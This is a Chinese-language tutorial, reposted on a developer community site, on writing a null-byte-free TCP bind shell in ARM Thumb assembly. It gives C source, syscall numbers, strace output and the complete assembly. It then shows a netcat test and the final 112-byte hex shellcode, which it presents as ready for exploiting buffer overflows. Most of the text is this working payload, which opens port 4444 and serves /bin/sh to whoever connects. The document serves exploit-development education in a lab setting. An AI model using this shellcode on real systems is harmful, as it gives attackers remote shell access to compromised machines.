首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

用汇编语言编写TCP Bind Shell的菜鸟教程

在本教程中,你将学习如何编写不包含null字节的tcp_bind_shell,并且可以用作shellcode测试漏洞可利用性。

阅读完本教程之后,你不仅能学会如何编写将shell绑定到本地端口的shellcode,还会了解如何编写shellcode。从bind shellcode到reverse shellcode只需更改1-2个函数,一些参数,但大多数情况下都是一样的。编写一个bind或reverse shell比创建一个简单的execve()shell要困难得多。如果你想从小处着手,可以学习如何用汇编语言编写一个简单的execve()shell,然后再深入到本文更加广泛的教程中。如果你需要复习一下Arm assembly,请参阅我的ARM Assembly Basics教程系列,或 者使用下面这种备忘单:

在开始之前,我想提醒大家的是,我们正在创建的是ARM shellcode,需要建立一个ARM实验室环境。可以自己设置(QEMU Emulate Raspberry Pi )或节省时间,可以下载我创建好的实验室VM(ARM Lab VM)。

了解细节

首先,什么是bind shell?它是如何工作的?使用bind shell,可以在目标机器上打开通信端口或侦听器。然后侦听器等待传入连接,你连接它,侦听器便会接受连接,并允许你shell访问目标系统。

这与Reverse Shell的工作方式不同。使用reverse shell,你可以让目标机器与自己的机器进行通信。在这种情况下,你的机器有一个侦听器端口,它接收来自目标系统的连接。

这两种类型的shell都有各自的优点和缺点,这取决于目标环境。例如,目标网络的防火墙不能阻挡传出链接,更容易阻挡传入链接。这意味着你的bind shell将在目标系统上绑定一个端口,但是由于传入连接被阻挡,你将无法连接到它。因此在某些情况下,最好有一个reverse shell能够利用防火墙不阻挡传出连接的错误配置。如果你学会了如何编写bind shell,那么也就学会了如何编写reverse shell。将汇编代码转换成reverse shell,只需要几处修改就能实现。

要将bind shell的功能转换为汇编的,我们首先需要熟悉bind shell的过程

1. 创建一个新的TCP 套接字 (socket)

2. 将socket绑定到本地端口

3. 侦听传入的连接

4. 接受传入的连接

5. 将STDIN、STDOUT和STDERR重定向到客户端新创建的socket

6. 生成shell

下面是我们用来翻译的C代码。

#include

#include

#include

#include

int host_sockid; // socket file descriptor

int client_sockid; // client file descriptor

struct sockaddr_in hostaddr; // server aka listen address

int main()

{

// Create new TCP socket

host_sockid = socket(PF_INET, SOCK_STREAM, 0);

// Initialize sockaddr struct to bind socket using it

hostaddr.sin_family = AF_INET; // server socket type address family = internet protocol address

hostaddr.sin_port = htons(4444); // server port, converted to network byte order

hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, converted to network byte order

// Bind socket to IP/Port in sockaddr struct

bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));

// Listen for incoming connections

listen(host_sockid, 2);

// Accept incoming connection

client_sockid = accept(host_sockid, NULL, NULL);

// Duplicate file descriptors for STDIN, STDOUT and STDERR

dup2(client_sockid, 0);

dup2(client_sockid, 1);

dup2(client_sockid, 2);

// Execute /bin/sh

execve("/bin/sh", NULL, NULL);

close(host_sockid);

return 0;

}

第一阶段:系统函数及其参数

第一步是识别必要的系统函数、参数和系统调用号。查看上面的C代码,可以看到,我们需要以下函数:socket, bind, listen, accept, dup2, execve。你可以使用以下命令来计算这些函数的系统调用号:

pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket

#define __NR_socketcall (__NR_SYSCALL_BASE+102)

#define __NR_socket (__NR_SYSCALL_BASE+281)

#define __NR_socketpair (__NR_SYSCALL_BASE+288)

#undef __NR_socketcall

_NR_SYSCALL_BASE的值是0:

root@raspberrypi:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/

/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0

以下是我们需要的所有syscall调用号:

#define __NR_socket (__NR_SYSCALL_BASE+281)

#define __NR_bind (__NR_SYSCALL_BASE+282)

#define __NR_listen (__NR_SYSCALL_BASE+284)

#define __NR_accept (__NR_SYSCALL_BASE+285)

#define __NR_dup2 (__NR_SYSCALL_BASE+ 63)

#define __NR_execve (__NR_SYSCALL_BASE+ 11)

每个函数期望参数都可以在linux man页面或者w3challs.com中查看。

下一步是算出这些参数的具体值。一种计算方法是使用strace查看一个成功的bind shell 连接。strace是一个工具,可以用来跟踪系统调用,并且监视进程与Linux内核之间的交互。让我们使用strace来测试bind shell的C语言版本。为了减少噪音,我们将输出限制为我们感兴趣的函数。

Terminal 1:

pi@raspberrypi:~/bindshell $ gcc bind_test.c -o bind_test

pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test

Terminal 2:

pi@raspberrypi:~ $ netstat -tlpn

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1058/bind_test

pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444

Connection to 0.0.0.0 4444 port [tcp/*] succeeded!

这是strace输出:

pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test

execve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

bind(3, , 16) = 0

listen(3, 2) = 0

accept(3, 0, NULL) = 4

dup2(4, 0) = 0

dup2(4, 1) = 1

dup2(4, 2) = 2

execve("/bin/sh", [0], [/* 0 vars */]) = 0

现在,我们可以填充空白,并记下需要传递给汇编bind shell函数的值。

第二步:逐步编译

在第一阶段,我们回答了以下问题,以获取汇编程序所需要的所有东西:

1.我需要哪些函数?

2.这些函数的系统调用号是多少?

3.这些函数的参数是什么?

4.这些参数的值是多少?

这一步是关于应用这些知识并将其转换为汇编。将每个函数拆分为一个单独的块,并重复以下过程:

1.标出参数所使用的寄存器

2.找出如何将所需值( required value)传递给寄存器

1.如何将立即数(immediate value)传递给寄存器

2.如何在不直接将#0移入的情况下取消寄存器(我们需要避免代码中的null字节,因此必须找到其他方法来取消寄存器或内存中的值)。

3.如何将寄存器指向内存中存储常量和字符串的区域

3.使用正确的系统调用号来调用函数,并跟踪寄存器内容的变化

1.记住,系统调用的结果将落在r0中,这意味着万一你需要在另一个函数中重用该函数的结果,则需要在调用函数之前将其保存到另一个寄存器中。

2.示例:host_sockid = socket(2, 1, 0) –socket调用的结果(host_sockid) 将在r0中。这个结果在其他函数中重用,比如listen(host_sockid, 2),因此应该保存在另一个寄存器中。

0-切换到Thumb模式

首先使用Thumb模式,以减少使用null字节的可能性。在Arm模式下,指令是32位的,在Thumb模式下是16位。这意味着我们可以通过简单地减小指令的大小来减少使用null字节的情况。回顾一下如何切换到Thumb模式:ARM指令必须是4字节对齐的。将模式从ARM转换到Thumb,通过将1添加到PC寄存器的值,并将其保存到另一个寄存器中,把下一个指令地址(在PC中发现)的LSB(Least Significant Bit)设置为1。然后使用一个BX(分支和交换)指令来分支到另一个寄存器中,该寄存器包含LSB设置为1的下一条指令的地址。这一操作使得处理器切换到Thumb模式。上述所有操作都归结为以下两个指令。

.section .text

.global _start

_start:

.ARM

add r3, pc, #1

bx r3

从这里开始,你将编写Thumb代码,因此需要在你编写的代码中使用.THUMB指令表明这一点。

1-新建一个Socket

这些是我们需要的socket调用参数的值:

root@raspberrypi:/home/pi# grep -R "AF_INET|PF_INET |SOCK_STREAM =|IPPROTO_IP =" /usr/include/

/usr/include/linux/in.h: IPPROTO_IP = 0, // Dummy protocol for TCP

/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1, // Sequenced, reliable, connection-based

/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2 // IP protocol family.

/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET

设置好参数之后,你可以使用svc指令调用socket系统调用。此调用的结果将是host_sockid,并将以r0结束。因为稍后我们需要host_sockid,把它保存到r4中。

在ARM中,不能简单地将任何立即数(immediate value)移动到寄存器中。如果你对这一细微差别有更多的兴趣,在Memory Instructions章节中有一个章节(在最后)介绍了这一差别。

为了检查是否可以使用某个立即数(immediate value),我编写了一个很小的脚本(代码不完美,可以不看),叫做rotator.py。

pi@raspberrypi:~/bindshell $ python rotator.py

Enter the value you want to check: 281

Sorry, 281 cannot be used as an immediate number and has to be split.

pi@raspberrypi:~/bindshell $ python rotator.py

Enter the value you want to check: 200

The number 200 can be used as a valid immediate number.

50 ror 30 --> 200

pi@raspberrypi:~/bindshell $ python rotator.py

Enter the value you want to check: 81

The number 81 can be used as a valid immediate number.

81 ror 0 --> 81

最后的代码片段:

.THUMB

mov r0, #2

mov r1, #1

sub r2, r2, r2

mov r7, #200

add r7, #81 // r7 = 281 (socket syscall number)

svc #1 // r0 = host_sockid value

mov r4, r0 // save host_sockid in r4

2 -将Socket绑定到本地端口

使用第一个指令,我们将一个包含地址家族、主机端口和主机地址的结构对象存储在文字池里,并使用pc-relative寻址(程序计数器相对寻址法)引用这个对象。文字池是同一部分的内存区域(因为文字池是代码的一部分),其中存储了常量、字符串或偏移量。你可以使用带有标签的ADR指令,而不是手动计算pc相对偏移量。ADR接受一个PC-relative表达式,也就是说,具有一个可选偏移量的标签,其标签地址与PC标签有关。情况如下:

// bind(r0, &sockaddr, 16)

adr r1, struct_addr // pointer to address, port

[...]

struct_addr:

.ascii "x02xff" // AF_INET 0xff will be NULLed

.ascii "x11x5c" // port number 4444

.byte 1,1,1,1 // IP Address

接下来的5个指令是STRB(存储字节)指令。STRB指令将一个字节从寄存器存储到一个计算内存区域。语法[r1, #1] 表示我们将r1作为基本地址,立即数(immediate value )(#1) 作为偏移量。

在第一个指令中,我们将R1指向内存区域,在该内存区域存储了地址家族AF_INET的值、我们想要使用的本地端口和IP地址。我们可以使用静态IP地址,也可以指定0.0.0.0使我们的bind shell监听目标配置的所有IP,使我们的shellcode更加便携。现在有很多null字节。

同样,我们想要避免使用null字节的原因是为了使我们的shellcode对于漏洞利用是可用的,即利用内存损坏那些可能对null字节敏感的漏洞。一些缓冲区溢出是由于不合理地使用“strcpy”这样的函数而造成的。strcpy的工作是复制数据直到它接收到一个null字节。我们使用溢出来控制程序流,如果strcpy遇到一个null字节,它将停止复制我们的shellcode,我们的开发将无法工作。使用strb指令,我们从寄存器中获取一个null字节,并在执行期间修改我们自己的代码。这样,在我们的shellcode中实际上没有一个null字节,只是动态地将其放在那里。这就要求代码部分是可写的,并且可以通过在链接过程中添加-N标志来实现。

出于这个原因,我们在没有null字节的情况下进行编码,并在需要的地方动态地放置一个null字节。正如在下个图片中所看到的,我们指定的IP地址是1.1.1.1,在执行期间将被0.0.0.0替换。

第一个STRB指令在x02xff中用x00替换占位符xff,以便将AF_INET设置为x02 x00。我们如何知道它是一个被存储的null字节?由于“r2,r2,r2”的指令清除了寄存器,因此r2中包含0。接下来的4个指令用0.0.0.0代替1.1.1.1。除了在strb r2, [r1, #1]之后的四个strb指令,你还可以使用一个单独的str r2, [r1, #4]来完成一个完整的0.0.0.0编写。

移动指令将sockaddr_in结构性长度的字节长度(AF_INET 2字节,PORT 2字节,ipaddress 4字节,8字节填充,总共16字节)放到r2中。然后,我们通过将1添加到r7,将其设置为282,因为r7已经包含了从最后一个syscall中获得的281。

// bind(r0, &sockaddr, 16)

adr r1, struct_addr // pointer to address, port

strb r2, [r1, #1] // write 0 for AF_INET

strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1

strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1

strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1

strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x

mov r2, #16

add r7, #1 // r7 = 281+1 = 282 (bind syscall number)

svc #1

nop

3-listen传入的连接

在这里我们把以前保存的host_sockid放入 r0。将r1设置为2,r7只是增加了2,因为它还包含从最后一个syscall中获得的282(系统调用)。

mov r0, r4 // r0 = saved host_sockid

mov r1, #2

add r7, #2 // r7 = 284 (listen syscall number)

svc #1

4-accept输入连接

同样,我们将保存的host_sockid放到r0。由于我们想要避免使用null字节,所以我们使用的不是直接将#0移动到r1和r2中,而是通过将r1和r2彼此想减来将它们设置为0。r7只增加了1。此调用的结果将是client_sockid,我们将其保存在r4中,因为我们之后不再需要保存在r4中的host_sockid(我们将跳过调用C代码中的关闭函数)。

mov r0, r4 // r0 = saved host_sockid

sub r1, r1, r1 // clear r1, r1 = 0

sub r2, r2, r2 // clear r2, r2 = 0

add r7, #1 // r7 = 285 (accept syscall number)

svc #1

mov r4, r0 // save result (client_sockid) in r4

5 - STDIN、STDOUT和STDERR

对于dup2函数,我们需要syscall调用号63。先前保存的client_sockid需要再次进入r0,并且子指令将r1设为0。剩下的两个dup2调用,我们只需要改变r1并且在每次系统调用之后将r0重置为client_sockid。

/* dup2(client_sockid, 0) */

mov r7, #63 // r7 = 63 (dup2 syscall number)

mov r0, r4 // r4 is the saved client_sockid

sub r1, r1, r1 // r1 = 0 (stdin)

svc #1

/* dup2(client_sockid, 1) */

mov r0, r4 // r4 is the saved client_sockid

add r1, #1 // r1 = 1 (stdout)

svc #1

/* dup2(client_sockid, 2) */

mov r0, r4 // r4 is the saved client_sockid

add r1, #1 // r1 = 1+1 (stderr)

svc #1

6-生成shell

// execve("/bin/sh", 0, 0)

adr r0, shellcode // r0 = location of "/bin/shX"

eor r1, r1, r1 // clear register r1. R1 = 0

eor r2, r2, r2 // clear register r2. r2 = 0

strb r2, [r0, #7] // store null-byte for AF_INET

mov r7, #11 // execve syscall number

svc #1

nop

我们在本例中使用的execve()函数遵循的过程与Writing ARM Shellcode教程中的相同,都是一步一步地进行解释。

最后,我们将值AF_INET(0xff将被null替换)、端口号、IP地址以及“/bin/sh”字符串,放在我们汇编代码的结尾的。

struct_addr:

.ascii "x02xff" // AF_INET 0xff will be NULLed

.ascii "x11x5c" // port number 4444

.byte 1,1,1,1 // IP Address

shellcode:

.ascii "/bin/shX"

最终的汇编代码

这就是我们编好的bind shellcode。

.section .text

.global _start

_start:

.ARM

add r3, pc, #1 // switch to thumb mode

bx r3

.THUMB

// socket(2, 1, 0)

mov r0, #2

mov r1, #1

sub r2, r2, r2 // set r2 to null

mov r7, #200 // r7 = 281 (socket)

add r7, #81 // r7 value needs to be split

svc #1 // r0 = host_sockid value

mov r4, r0 // save host_sockid in r4

// bind(r0, &sockaddr, 16)

adr r1, struct_addr // pointer to address, port

strb r2, [r1, #1] // write 0 for AF_INET

strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1

strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1

strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1

strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x

mov r2, #16 // struct address length

add r7, #1 // r7 = 282 (bind)

svc #1

nop

// listen(sockfd, 0)

mov r0, r4 // set r0 to saved host_sockid

mov r1, #2

add r7, #2 // r7 = 284 (listen syscall number)

svc #1

// accept(sockfd, NULL, NULL);

mov r0, r4 // set r0 to saved host_sockid

sub r1, r1, r1 // set r1 to null

sub r2, r2, r2 // set r2 to null

add r7, #1 // r7 = 284+1 = 285 (accept syscall)

svc #1 // r0 = client_sockid value

mov r4, r0 // save new client_sockid value to r4

// dup2(sockfd, 0)

mov r7, #63 // r7 = 63 (dup2 syscall number)

mov r0, r4 // r4 is the saved client_sockid

sub r1, r1, r1 // r1 = 0 (stdin)

svc #1

// dup2(sockfd, 1)

mov r0, r4 // r4 is the saved client_sockid

add r1, #1 // r1 = 1 (stdout)

svc #1

// dup2(sockfd, 2)

mov r0, r4 // r4 is the saved client_sockid

add r1, #1 // r1 = 2 (stderr)

svc #1

// execve("/bin/sh", 0, 0)

adr r0, shellcode // r0 = location of "/bin/shX"

eor r1, r1, r1 // clear register r1. R1 = 0

eor r2, r2, r2 // clear register r2. r2 = 0

strb r2, [r0, #7] // store null-byte for AF_INET

mov r7, #11 // execve syscall number

svc #1

nop

struct_addr:

.ascii "x02xff" // AF_INET 0xff will be NULLed

.ascii "x11x5c" // port number 4444

.byte 1,1,1,1 // IP Address

shellcode:

.ascii "/bin/shX"

测试shellcode

将你的汇编代码保存到一个名为bind_shell.s的文件中。在使用ld时不要忘记-N标志,原因是我们使用了多个strb操作来修改我们的代码段(.text)。这就要求代码部分是可写的,并且在链接过程中可以通过添加-N标志来实现。

pi@raspberrypi:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell

pi@raspberrypi:~/bindshell $ ./bind_shell

然后,连接到你的指定端口:

pi@raspberrypi:~ $ netcat -vv 0.0.0.0 4444

Connection to 0.0.0.0 4444 port [tcp/*] succeeded!

uname -a

Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux

Shellcode可以正常运行!使用以下命令将它转换成十六进制字符串:

pi@raspberrypi:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin

pi@raspberrypi:~/bindshell $ hexdump -v -e '"""x" 1/1 "%02x" ""' bind_shell.bin

x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx12xa1x4ax70x0ax71x4ax71x8ax71xcax71x10x22x01x37x01xdfxc0x46x20x1cx02x21x02x37x01xdfx20x1cx49x1ax92x1ax01x37x01xdfx04x1cx3fx27x20x1cx49x1ax01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx05xa0x49x40x52x40xc2x71x0bx27x01xdfxc0x46x02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58

我们成功编写了bind shellcode!这个shellcode长112字节。由于这是一个初学者教程,为了使教程比较简单易懂,所以并没有将shellcode编写的它所能达到的最短。在完成初级shellcode编写之后,你可以尝试找到减少指令数量的方法,从而使shellcode更短。

希望通过本文你学会了一些东西,并且能够运用这些知识来编写自己的shellcode任意变体。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180120A0JXW100?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券